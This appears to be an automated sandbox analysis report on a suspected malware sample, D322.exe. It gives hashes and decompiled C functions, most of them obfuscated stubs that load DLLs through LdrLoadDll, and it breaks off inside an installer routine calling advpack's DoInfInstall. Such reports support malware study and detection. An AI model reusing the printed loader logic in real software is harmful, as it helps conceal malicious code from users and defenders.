Opcode ID: 380ea8bc699e0cd4aeedf6967f070cfe9c753da8ef6ae488dc188fbe6c6948a5
Instruction ID: 621c11199878483de43c5ca609e9ae3abbeec30129ab7b50651a2013e7c0857b
Opcode Fuzzy Hash: 380ea8bc699e0cd4aeedf6967f070cfe9c753da8ef6ae488dc188fbe6c6948a5
Instruction Fuzzy Hash: 3901DF35248104E7D700AA548E8EF6B7724EF44B04F208037EA4A7F1C1D2FC5A07A7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040270D, Relevance: 1.5, APIs: 1, Instructions: 45
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040270D() {
				void* _t9;
				long _t11;
				intOrPtr _t12;
				intOrPtr _t16;
				void* _t17;
				void* _t18;
				HMODULE* _t19;
				void* _t21;
				UNICODE_STRING* _t22;
				void* _t24;
				intOrPtr* _t26;
				intOrPtr* _t27;
				void* _t30;

				asm("outsd");
				asm("repne push 0x6879");
				_t9 = 0x273a;
				asm("repne push edx");
				_t16 =  *_t26;
				_t27 = _t26 + 4;
				E0040119C(_t9, _t16, _t18, _t21, _t30);
				_t22 = _t24 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t24 + 8)) + 0xc))(_t22,  *((intOrPtr*)(_t24 + 0xc)), 0x50);
				_t19 = _t24 - 4;
				asm("cld");
				_t11 = LdrLoadDll(0, 0, _t22, _t19);
				_t31 = _t11;
				if(_t11 != 0) {
					 *(_t24 - 4) = 0;
				}
				_push(0x273a);
				_t12 =  *_t27;
				_t17 = 0x50;
				E0040119C(_t12, _t17, _t19, _t22, _t31);
				return  *(_t24 - 4);
			}

0x0040270d
0x0040270e
0x00402717
0x00402733
0x00402728
0x0040272b
0x00402735
0x0040273d
0x00402744
0x00402747
0x00402749
0x00402750
0x00402753
0x00402755
0x00402757
0x00402757
0x00402763
0x00402768
0x0040277d
0x00402785
0x00402791

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402750

Memory Dump Source

Source File: 0000000D.00000001.752960347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 4bec7163b8274f7abead30b4acc20167973fe91ca4aa911b6e09a58467f3453a
Instruction ID: e312652d77a58dd93348a680a15b7a4cd1ac44bf8ab1bd194efafa98adc9514a
Opcode Fuzzy Hash: 4bec7163b8274f7abead30b4acc20167973fe91ca4aa911b6e09a58467f3453a
Instruction Fuzzy Hash: DC01D635248101EBCB009B949E99F9E7730AF05715F208077E6467F1C1C2BC5A07A7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040271B, Relevance: 1.5, APIs: 1, Instructions: 43
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040271B() {
				void* _t9;
				long _t11;
				intOrPtr _t12;
				intOrPtr _t16;
				void* _t17;
				void* _t18;
				HMODULE* _t19;
				void* _t21;
				UNICODE_STRING* _t22;
				void* _t24;
				intOrPtr* _t26;
				intOrPtr* _t27;
				void* _t30;

				_t9 = 0x273a;
				asm("repne push edx");
				_t16 =  *_t26;
				_t27 = _t26 + 4;
				E0040119C(_t9, _t16, _t18, _t21, _t30);
				_t22 = _t24 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t24 + 8)) + 0xc))(_t22,  *((intOrPtr*)(_t24 + 0xc)), 0x50);
				_t19 = _t24 - 4;
				asm("cld");
				_t11 = LdrLoadDll(0, 0, _t22, _t19);
				_t31 = _t11;
				if(_t11 != 0) {
					 *(_t24 - 4) = 0;
				}
				_push(0x273a);
				_t12 =  *_t27;
				_t17 = 0x50;
				E0040119C(_t12, _t17, _t19, _t22, _t31);
				return  *(_t24 - 4);
			}

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402750

Memory Dump Source

Source File: 0000000D.00000001.752960347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 2ac3592fa377ae4d72319d583e23fa576a21ac22697e489e8ac9cc9538b95917
Instruction ID: c3bee4fba2839547104017a899a63b77a4069293c9b9f10070c40a41ffde1b5a
Opcode Fuzzy Hash: 2ac3592fa377ae4d72319d583e23fa576a21ac22697e489e8ac9cc9538b95917
Instruction Fuzzy Hash: 29F08135648101E7DB009A548E8DF6E7320EF54715F208037EA5A7F1C1C2FC5A07A7AB

Uniqueness

Uniqueness Score: -1.00%

Function 00402730, Relevance: 1.5, APIs: 1, Instructions: 42
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00402730() {
				void* _t9;
				long _t11;
				intOrPtr _t12;
				intOrPtr _t16;
				void* _t17;
				void* _t18;
				HMODULE* _t19;
				void* _t21;
				UNICODE_STRING* _t22;
				void* _t24;
				void* _t26;
				intOrPtr* _t27;
				intOrPtr* _t28;
				void* _t31;

				_t27 = _t26 - 1;
				asm("repne push edx");
				_t16 =  *_t27;
				_t28 = _t27 + 4;
				E0040119C(_t9, _t16, _t18, _t21, _t31);
				_t22 = _t24 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t24 + 8)) + 0xc))(_t22,  *((intOrPtr*)(_t24 + 0xc)), 0x50);
				_t19 = _t24 - 4;
				asm("cld");
				_t11 = LdrLoadDll(0, 0, _t22, _t19);
				_t32 = _t11;
				if(_t11 != 0) {
					 *(_t24 - 4) = 0;
				}
				_push(0x273a);
				_t12 =  *_t28;
				_t17 = 0x50;
				E0040119C(_t12, _t17, _t19, _t22, _t32);
				return  *(_t24 - 4);
			}

0x00402730
0x00402733
0x00402728
0x0040272b
0x00402735
0x0040273d
0x00402744
0x00402747
0x00402749
0x00402750
0x00402753
0x00402755
0x00402757
0x00402757
0x00402763
0x00402768
0x0040277d
0x00402785
0x00402791

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402750

Memory Dump Source

Source File: 0000000D.00000001.752960347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 0dd8cc5fe8cb41f31082aa9e2d5ea4685318b5719353895f4f13a0eee256b63e
Instruction ID: 6a5ac816976402f52894ac8c5aa05e6a17794efc79a15105588d66eb22f6d4ed
Opcode Fuzzy Hash: 0dd8cc5fe8cb41f31082aa9e2d5ea4685318b5719353895f4f13a0eee256b63e
Instruction Fuzzy Hash: 40F08C35648101E7DB009B548E8DFAE7320EF04705F208037AA4A7F1C1D2BC9A07A7AB

Uniqueness

Uniqueness Score: -1.00%

Function 00402721, Relevance: 1.5, APIs: 1, Instructions: 41
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E00402721(void* __esi) {
				void* _t9;
				long _t11;
				intOrPtr _t12;
				void* _t14;
				intOrPtr _t17;
				void* _t18;
				void* _t19;
				HMODULE* _t20;
				void* _t23;
				UNICODE_STRING* _t24;
				void* _t26;
				intOrPtr* _t28;
				intOrPtr* _t29;
				void* _t32;

				_t23 = __esi - 1;
				asm("lodsb");
				asm("adc [edx+0x50], ebp");
				_t17 =  *_t28;
				_t29 = _t28 + 4;
				E0040119C(_t9, _t17, _t19, _t23, _t32);
				_t24 = _t26 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t26 + 8)) + 0xc))(_t24,  *((intOrPtr*)(_t26 + 0xc)), 0x50, _t14);
				_t20 = _t26 - 4;
				asm("cld");
				_t11 = LdrLoadDll(0, 0, _t24, _t20);
				_t33 = _t11;
				if(_t11 != 0) {
					 *(_t26 - 4) = 0;
				}
				_push(0x273a);
				_t12 =  *_t29;
				_t18 = 0x50;
				E0040119C(_t12, _t18, _t20, _t24, _t33);
				return  *(_t26 - 4);
			}

0x00402721
0x00402723
0x00402725
0x00402728
0x0040272b
0x00402735
0x0040273d
0x00402744
0x00402747
0x00402749
0x00402750
0x00402753
0x00402755
0x00402757
0x00402757
0x00402763
0x00402768
0x0040277d
0x00402785
0x00402791

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402750

Memory Dump Source

Source File: 0000000D.00000001.752960347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: f9ee1ec0f74e66dbd1c34ba3d02b412359a5b0cdf10a9e29992df6beda202e3c
Instruction ID: 7db57caa4e10a624a93ad07cce2c7bbfa7ef0d0a8736523c73c8057adf18c8a6
Opcode Fuzzy Hash: f9ee1ec0f74e66dbd1c34ba3d02b412359a5b0cdf10a9e29992df6beda202e3c
Instruction Fuzzy Hash: 59F0AF35604105E7CB009B54CE89F9EB764EF05709F648037EA467B1C1C3B8AA06A7AB

Uniqueness

Uniqueness Score: -1.00%

Function 00402733, Relevance: 1.5, APIs: 1, Instructions: 34
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00402733() {
				void* _t9;
				long _t11;
				intOrPtr _t12;
				intOrPtr _t16;
				void* _t17;
				void* _t18;
				HMODULE* _t19;
				void* _t21;
				UNICODE_STRING* _t22;
				void* _t24;
				intOrPtr* _t26;
				intOrPtr* _t27;
				void* _t30;

				asm("repne push edx");
				_t16 =  *_t26;
				_t27 = _t26 + 4;
				E0040119C(_t9, _t16, _t18, _t21, _t30);
				_t22 = _t24 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t24 + 8)) + 0xc))(_t22,  *((intOrPtr*)(_t24 + 0xc)), 0x50);
				_t19 = _t24 - 4;
				asm("cld");
				_t11 = LdrLoadDll(0, 0, _t22, _t19);
				_t31 = _t11;
				if(_t11 != 0) {
					 *(_t24 - 4) = 0;
				}
				_push(0x273a);
				_t12 =  *_t27;
				_t17 = 0x50;
				E0040119C(_t12, _t17, _t19, _t22, _t31);
				return  *(_t24 - 4);
			}

0x00402733
0x00402728
0x0040272b
0x00402735
0x0040273d
0x00402744
0x00402747
0x00402749
0x00402750
0x00402753
0x00402755
0x00402757
0x00402757
0x00402763
0x00402768
0x0040277d
0x00402785
0x00402791

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402750

Memory Dump Source

Source File: 0000000D.00000001.752960347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 7acd6a6481efb91b3f4a7cf414ec8deb05713f15fd716d33b7ae14aba0f962e3
Instruction ID: 29e886ee2a11651c839d62062b2abbffc6913f48b8e3f5bee76ba0c245d9d8ff
Opcode Fuzzy Hash: 7acd6a6481efb91b3f4a7cf414ec8deb05713f15fd716d33b7ae14aba0f962e3
Instruction Fuzzy Hash: 3EF05439644105E7DB009B54CE89F9E7730DF45715F208067EA557F1C1C2BC9B06A7AB

Uniqueness

Uniqueness Score: -1.00%

Function 004026D9, Relevance: 1.5, APIs: 1, Instructions: 33
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E004026D9(void* __eax, void* __ebx, void* __ecx, void* __edi, UNICODE_STRING* __esi) {
				intOrPtr _t8;
				void* _t13;
				HMODULE* _t16;
				void* _t20;
				intOrPtr* _t22;

				_t18 = __esi;
				_t16 = __edi - __eax;
				 *0xf6cc29f7 =  *0xf6cc29f7 - _t20;
				if( *0xf6cc29f7 >= 0) {
					asm("cld");
					__eflags = LdrLoadDll(0, 0, __esi, _t16);
					if(__eflags != 0) {
						 *(_t20 - 4) = 0;
					}
					_push(0x273a);
					_t8 =  *_t22;
					_t13 = 0x50;
					E0040119C(_t8, _t13, _t16, _t18, __eflags);
					return  *(_t20 - 4);
				} else {
					 *(__ecx - 0x3d3cae85) =  *(__ecx - 0x3d3cae85) | __esi;
					return __eax;
				}
			}

0x004026d9
0x004026d9
0x004026dd
0x004026e3
0x00402749
0x00402753
0x00402755
0x00402757
0x00402757
0x00402763
0x00402768
0x0040277d
0x00402785
0x00402791
0x004026e5
0x004026e5
0x004026eb
0x004026eb

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402750

Memory Dump Source

Source File: 0000000D.00000001.752960347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 5044a9bd59ebf200c17859892a863783b694c4530aa605bc7997946dfd79b0be
Instruction ID: 482a99d0aea71dac8f8f6b642af845125674064c9be66d4e2d9b051d95ab1fca
Opcode Fuzzy Hash: 5044a9bd59ebf200c17859892a863783b694c4530aa605bc7997946dfd79b0be
Instruction Fuzzy Hash: 8CF0A736244101EBD310DA689E4DF5A7760EB50B16F64413BE546BB1C0D2FC8A02A6AF

Uniqueness

Uniqueness Score: -1.00%

Function 00402B18, Relevance: 1.3, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00402B18(void* __eax, signed int __ebx, void* __ecx, void* __edi) {
				void* _t17;
				void* _t20;
				void* _t23;
				signed int _t26;
				void* _t29;
				void* _t30;
				void* _t34;
				void* _t35;
				signed int _t36;
				signed int _t37;
				void* _t42;

				_t34 = __edi - __eax;
				_t26 = __ebx ^  *0x2a583629;
				asm("adc esi, [ebp-0x69]");
				_pop(_t36);
				 *((intOrPtr*)(_t26 - 0x3b7cdbfc)) =  *((intOrPtr*)(_t26 - 0x3b7cdbfc)) + __ecx;
				asm("les eax, [ebx+ebp*8]");
				_t17 = __eax + 0xefebf532;
				_t37 = _t36 | _t26;
				asm("bswap edx");
				_push(_t34);
				asm("popfd");
				_t42 = __ecx - 1;
				_t29 = 0xa6;
				E0040119C(_t17, _t29, _t34, _t35, _t42);
				_push( *((intOrPtr*)(_t37 - 4)));
				L00401902(_t26, _t34, _t35); // executed
				_push(_t26 + 0x2fb8);
				_push( *((intOrPtr*)(_t37 - 4)));
				_t20 = L0040252F(_t26, _t34, _t35); // executed
				if(_t20 != 0) {
					_push( *((intOrPtr*)(_t37 - 4)));
					if(L00401E7A(_t26, _t35) != 0) {
						L8:
						_t48 = gs;
						if(gs != 0) {
							_t23 = _t26 + 0x54e1;
							_t30 = 0x3019;
						} else {
							_t23 = _t26 + 0x2ff8;
							_t30 = 0x24e9;
						}
						_push( *((intOrPtr*)(_t26 + 0x84fa)));
						_push(_t30);
						_push(_t23);
						_push( *((intOrPtr*)(_t37 - 4)));
						L00401866(_t26, _t34, _t35);
						_t20 = 0x2b55;
						E0040119C(0x2b55, 0xa6, _t34, _t35, _t48);
					} else {
						_push( *((intOrPtr*)(_t37 - 4)));
						_t20 = L00402196(_t26, _t34, _t35);
						if(_t20 != 0) {
							_push( *((intOrPtr*)(_t37 - 4)));
							_t20 = L0040225F(_t26, _t34, _t35);
							if(_t20 != 0) {
								_push( *((intOrPtr*)(_t37 - 4)));
								_t20 = L00401F2B(_t26, _t34, _t35);
								if(_t20 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t20;
			}

0x00402b18
0x00402b1a
0x00402b25
0x00402b28
0x00402b2e
0x00402b33
0x00402b36
0x00402b3b
0x00402b3d
0x00402b3f
0x00402b40
0x00402b42
0x00402b48
0x00402b50
0x00402b55
0x00402b58
0x00402b63
0x00402b64
0x00402b67
0x00402b6e
0x00402b74
0x00402b7e
0x00402ba4
0x00402ba7
0x00402baa
0x00402bb9
0x00402bbf
0x00402bac
0x00402bac
0x00402bb2
0x00402bb2
0x00402bc4
0x00402bca
0x00402bcb
0x00402bcc
0x00402bcf
0x00402bd9
0x00402bf6
0x00402b80
0x00402b80
0x00402b83
0x00402b8a
0x00402b8c
0x00402b8f
0x00402b96
0x00402b98
0x00402b9b
0x00402ba2
0x00000000
0x00000000
0x00402ba2
0x00402b96
0x00402b8a
0x00402b7e
0x00402bfc

Strings

$==, xrefs: 00402B20

Memory Dump Source

Source File: 0000000D.00000002.884737537.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: $==
API String ID: 0-37507091
Opcode ID: 8eee177f72f5e1f8a046886c11cf7372ebcd818a6267c2118d69a923855b7531
Instruction ID: 89fd947160269dd43c3894707899f8f590f4fa4c2ad309f65253315427b2f203
Opcode Fuzzy Hash: 8eee177f72f5e1f8a046886c11cf7372ebcd818a6267c2118d69a923855b7531
Instruction Fuzzy Hash: 46110831508106EADF51AE91CF4AABE3775AF54348F24007BA801B91D1DBB8EE01B619

Uniqueness

Uniqueness Score: -1.00%

Function 00402AF3, Relevance: .1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00402AF3(void* __eax, signed int __ebx, void* __ecx, void* __edx, void* __edi) {
				void* _t13;
				void* _t16;
				void* _t19;
				signed int _t21;
				void* _t23;
				void* _t25;
				void* _t26;
				void* _t30;
				signed int _t31;
				signed int _t32;
				void* _t35;

				_t29 = __edi;
				_t21 = __ebx;
				_t23 = __ecx - __edx;
				asm("les eax, [ebx+ebp*8]");
				_t13 = __eax + 0xefebf532;
				_t32 = _t31 | __ebx;
				asm("bswap edx");
				_push(__edi);
				asm("popfd");
				_t35 = _t23 - 1;
				_t25 = 0xa6;
				E0040119C(_t13, _t25, __edi, _t30, _t35);
				_push( *((intOrPtr*)(_t32 - 4)));
				L00401902(__ebx, _t29, _t30); // executed
				_push(__ebx + 0x2fb8);
				_push( *((intOrPtr*)(_t32 - 4)));
				_t16 = L0040252F(__ebx, _t29, _t30); // executed
				if(_t16 != 0) {
					_push( *((intOrPtr*)(_t32 - 4)));
					if(L00401E7A(__ebx, _t30) != 0) {
						L8:
						_t41 = gs;
						if(gs != 0) {
							_t19 = _t21 + 0x54e1;
							_t26 = 0x3019;
						} else {
							_t19 = _t21 + 0x2ff8;
							_t26 = 0x24e9;
						}
						_push( *((intOrPtr*)(_t21 + 0x84fa)));
						_push(_t26);
						_push(_t19);
						_push( *((intOrPtr*)(_t32 - 4)));
						L00401866(_t21, _t29, _t30);
						_t16 = 0x2b55;
						E0040119C(0x2b55, 0xa6, _t29, _t30, _t41);
					} else {
						_push( *((intOrPtr*)(_t32 - 4)));
						_t16 = L00402196(__ebx, _t29, _t30);
						if(_t16 != 0) {
							_push( *((intOrPtr*)(_t32 - 4)));
							_t16 = L0040225F(__ebx, _t29, _t30);
							if(_t16 != 0) {
								_push( *((intOrPtr*)(_t32 - 4)));
								_t16 = L00401F2B(__ebx, _t29, _t30);
								if(_t16 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t16;
			}

0x00402af3
0x00402af3
0x00402af3
0x00402b33
0x00402b36
0x00402b3b
0x00402b3d
0x00402b3f
0x00402b40
0x00402b42
0x00402b48
0x00402b50
0x00402b55
0x00402b58
0x00402b63
0x00402b64
0x00402b67
0x00402b6e
0x00402b74
0x00402b7e
0x00402ba4
0x00402ba7
0x00402baa
0x00402bb9
0x00402bbf
0x00402bac
0x00402bac
0x00402bb2
0x00402bb2
0x00402bc4
0x00402bca
0x00402bcb
0x00402bcc
0x00402bcf
0x00402bd9
0x00402bf6
0x00402b80
0x00402b80
0x00402b83
0x00402b8a
0x00402b8c
0x00402b8f
0x00402b96
0x00402b98
0x00402b9b
0x00402ba2
0x00000000
0x00000000
0x00402ba2
0x00402b96
0x00402b8a
0x00402b7e
0x00402bfc

Memory Dump Source

Source File: 0000000D.00000002.884737537.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb71c6ff75ed474bae71919274ca5894d29941b93c932d982275509346d20971
Instruction ID: 8973a9f4d4f40c15ec8f14a22b3d3b900f358ebfd16fb69e9e41b5b807981947
Opcode Fuzzy Hash: eb71c6ff75ed474bae71919274ca5894d29941b93c932d982275509346d20971
Instruction Fuzzy Hash: 56114630504106AADF55BE51CF5A97A3335AF54348F2400B7A901791E5DBBCAE057619

Uniqueness

Uniqueness Score: -1.00%

Function 00402B4D, Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00402B4D(void* __ebx, void* __edi, void* __eflags) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t25;
				void* _t26;

				_t24 = __edi;
				_t20 = __ebx;
				_t21 = 0xa6;
				E0040119C(_t12, _t21, __edi, _t25, __eflags);
				_push( *((intOrPtr*)(_t26 - 4)));
				L00401902(__ebx, __edi, _t25); // executed
				_push(__ebx + 0x2fb8);
				_push( *((intOrPtr*)(_t26 - 4)));
				_t15 = L0040252F(__ebx, _t24, _t25); // executed
				if(_t15 != 0) {
					_push( *((intOrPtr*)(_t26 - 4)));
					if(L00401E7A(__ebx, _t25) != 0) {
						L7:
						_t35 = gs;
						if(gs != 0) {
							_t18 = _t20 + 0x54e1;
							_t22 = 0x3019;
						} else {
							_t18 = _t20 + 0x2ff8;
							_t22 = 0x24e9;
						}
						_push( *((intOrPtr*)(_t20 + 0x84fa)));
						_push(_t22);
						_push(_t18);
						_push( *((intOrPtr*)(_t26 - 4)));
						L00401866(_t20, _t24, _t25);
						_t15 = 0x2b55;
						E0040119C(0x2b55, 0xa6, _t24, _t25, _t35);
					} else {
						_push( *((intOrPtr*)(_t26 - 4)));
						_t15 = L00402196(__ebx, _t24, _t25);
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t26 - 4)));
							_t15 = L0040225F(__ebx, _t24, _t25);
							if(_t15 != 0) {
								_push( *((intOrPtr*)(_t26 - 4)));
								_t15 = L00401F2B(__ebx, _t24, _t25);
								if(_t15 != 0) {
									goto L7;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402b4d
0x00402b4d
0x00402b48
0x00402b50
0x00402b55
0x00402b58
0x00402b63
0x00402b64
0x00402b67
0x00402b6e
0x00402b74
0x00402b7e
0x00402ba4
0x00402ba7
0x00402baa
0x00402bb9
0x00402bbf
0x00402bac
0x00402bac
0x00402bb2
0x00402bb2
0x00402bc4
0x00402bca
0x00402bcb
0x00402bcc
0x00402bcf
0x00402bd9
0x00402bf6
0x00402b80
0x00402b80
0x00402b83
0x00402b8a
0x00402b8c
0x00402b8f
0x00402b96
0x00402b98
0x00402b9b
0x00402ba2
0x00000000
0x00000000
0x00402ba2
0x00402b96
0x00402b8a
0x00402b7e
0x00402bfc

Memory Dump Source

Source File: 0000000D.00000002.884737537.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe8a9fd1280f6825be9b2bb08f7dcad83aa0084832e3ca4aadcc37994e97fd73
Instruction ID: ce3434395e5a2fd84ddaa2b992a4746151afc81575f3ffae4a14e4d51db77a8b
Opcode Fuzzy Hash: fe8a9fd1280f6825be9b2bb08f7dcad83aa0084832e3ca4aadcc37994e97fd73
Instruction Fuzzy Hash: 9D012D30108106E9DF51BE91CF5AA7A3379AF14348B2400B7A941B91E1DBBDAE02B61E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: D322.exe PID: 6748 Parent PID: 3424 D322.exeCOMMON

Executed Functions

Function 011B3B8E, Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E011B3B8E() {
				signed int _v8;
				signed int _v12;
				char _v276;
				char _v280;
				short _v300;
				intOrPtr _v304;
				void _v348;
				char _v352;
				intOrPtr _v356;
				signed int _v360;
				short _v364;
				char* _v368;
				intOrPtr _v372;
				void* _v376;
				intOrPtr _v380;
				char _v384;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				void* _v408;
				void* _v424;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t69;
				signed int _t76;
				void* _t77;
				signed int _t79;
				short _t96;
				signed int _t97;
				intOrPtr _t98;
				signed int _t101;
				signed int _t104;
				signed int _t108;
				int _t112;
				void* _t115;
				signed char _t118;
				void* _t125;
				signed int _t127;
				void* _t128;
				struct HINSTANCE__* _t129;
				void* _t130;
				short _t137;
				char* _t140;
				signed char _t144;
				signed char _t145;
				signed int _t149;
				void* _t150;
				void* _t151;
				signed int _t153;
				void* _t155;
				void* _t156;
				signed int _t157;
				signed int _t162;
				signed int _t164;
				void* _t165;

				_t164 = (_t162 & 0xfffffff8) - 0x194;
				_t69 =  *0x11b8004; // 0x714bc98c
				_v8 = _t69 ^ _t164;
				_t153 = 0;
				 *0x11b9124 =  *0x11b9124 & 0;
				_t149 = 0;
				_v388 = 0;
				_v384 = 0;
				_t165 =  *0x11b8a28 - _t153; // 0x0
				if(_t165 != 0) {
					L3:
					_t127 = 0;
					_v392 = 0;
					while(1) {
						_v400 = _v400 & 0x00000000;
						memset( &_v348, 0, 0x44);
						_t164 = _t164 + 0xc;
						_v348 = 0x44;
						if( *0x11b8c42 != 0) {
							goto L26;
						}
						_t146 =  &_v396;
						_t115 = E011B4669("SHOWWINDOW",  &_v396, 4);
						if(_t115 == 0 || _t115 > 4) {
							L25:
							_t146 = 0x4b1;
							E011B4495(0, 0x4b1, 0, 0, 0x10, 0);
							 *0x11b9124 = 0x80070714;
							goto L62;
						} else {
							if(_v396 != 1) {
								__eflags = _v396 - 2;
								if(_v396 != 2) {
									_t137 = 3;
									__eflags = _v396 - _t137;
									if(_v396 == _t137) {
										_v304 = 1;
										_v300 = _t137;
									}
									goto L14;
								}
								_push(6);
								_v304 = 1;
								_pop(0);
								goto L11;
							} else {
								_v304 = 1;
								L11:
								_v300 = 0;
								L14:
								if(_t127 != 0) {
									L27:
									_t155 = 1;
									__eflags = _t127 - 1;
									if(_t127 != 1) {
										L31:
										_t132 =  &_v280;
										_t76 = E011B1B04( &_v280,  &_v408,  &_v404); // executed
										__eflags = _t76;
										if(_t76 == 0) {
											L62:
											_t77 = 0;
											L63:
											_pop(_t150);
											_pop(_t156);
											_pop(_t128);
											return E011B6C80(_t77, _t128, _v12 ^ _t164, _t146, _t150, _t156);
										}
										_t157 = _v404;
										__eflags = _t149;
										if(_t149 != 0) {
											L37:
											__eflags = _t157;
											if(_t157 == 0) {
												L57:
												_t151 = _v408;
												_t146 =  &_v352;
												_t130 = _t151; // executed
												_t79 = E011B3FDB(_t130,  &_v352); // executed
												__eflags = _t79;
												if(_t79 == 0) {
													L61:
													LocalFree(_t151);
													goto L62;
												}
												L58:
												LocalFree(_t151);
												_t127 = _t127 + 1;
												_v396 = _t127;
												__eflags = _t127 - 2;
												if(_t127 >= 2) {
													_t155 = 1;
													__eflags = 1;
													L69:
													__eflags =  *0x11b8580;
													if( *0x11b8580 != 0) {
														E011B226E();
													}
													_t77 = _t155;
													goto L63;
												}
												_t153 = _v392;
												_t149 = _v388;
												continue;
											}
											L38:
											__eflags =  *0x11b8180;
											if( *0x11b8180 == 0) {
												_t146 = 0x4c7;
												E011B4495(0, 0x4c7, 0, 0, 0x10, 0);
												LocalFree(_v424);
												 *0x11b9124 = 0x8007042b;
												goto L62;
											}
											__eflags = _t157;
											if(_t157 == 0) {
												goto L57;
											}
											__eflags =  *0x11b9a34 & 0x00000004;
											if(__eflags == 0) {
												goto L57;
											}
											_t129 = E011B6443(_t127, _t132, _t157, __eflags);
											__eflags = _t129;
											if(_t129 == 0) {
												_t146 = 0x4c8;
												E011B4495(0, 0x4c8, "advpack.dll", 0, 0x10, 0);
												L65:
												LocalFree(_v408);
												 *0x11b9124 = E011B6233();
												goto L62;
											}
											_t146 = GetProcAddress(_t129, "DoInfInstall");
											_v404 = _t146;
											__eflags = _t146;
											if(_t146 == 0) {
												_t146 = 0x4c9;
												__eflags = 0;
												E011B4495(0, 0x4c9, "DoInfInstall", 0, 0x10, 0);
												FreeLibrary(_t129);
												goto L65;
											}
											__eflags =  *0x11b8a30;
											_t151 = _v408;
											_v384 = 0;
											_v368 =  &_v280;
											_t96 =  *0x11b9a40; // 0x3
											_v364 = _t96;
											_t97 =  *0x11b8a38 & 0x0000ffff;
											_v380 = 0x11b9154;
											_v376 = _t151;
											_v372 = 0x11b91e4;
											_v360 = _t97;
											if( *0x11b8a30 != 0) {
												_t97 = _t97 | 0x00010000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t144 =  *0x11b9a34; // 0x2
											__eflags = _t144 & 0x00000008;
											if((_t144 & 0x00000008) != 0) {
												_t97 = _t97 | 0x00020000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t144 & 0x00000010;
											if((_t144 & 0x00000010) != 0) {
												_t97 = _t97 | 0x00040000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t145 =  *0x11b8d48; // 0x0
											__eflags = _t145 & 0x00000040;
											if((_t145 & 0x00000040) != 0) {
												_t97 = _t97 | 0x00080000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t145;
											if(_t145 < 0) {
												_t104 = _t97 | 0x00100000;
												__eflags = _t104;
												_v360 = _t104;
											}
											_t98 =  *0x11b9a38; // 0x0
											_v356 = _t98;
											_t130 = _t146;
											 *0x11ba288( &_v384);
											_t101 = _v404();
											__eflags = _t164 - _t164;
											if(_t164 != _t164) {
												_t130 = 4;
												asm("int 0x29");
											}
											 *0x11b9124 = _t101;
											_push(_t129);
											__eflags = _t101;
											if(_t101 < 0) {
												FreeLibrary();
												goto L61;
											} else {
												FreeLibrary();
												_t127 = _v400;
												goto L58;
											}
										}
										__eflags =  *0x11b9a40 - 1; // 0x3
										if(__eflags == 0) {
											goto L37;
										}
										__eflags =  *0x11b8a20;
										if( *0x11b8a20 == 0) {
											goto L37;
										}
										__eflags = _t157;
										if(_t157 != 0) {
											goto L38;
										}
										_v388 = 1;
										E011B2033(_t146); // executed
										goto L37;
									}
									_t146 =  &_v280;
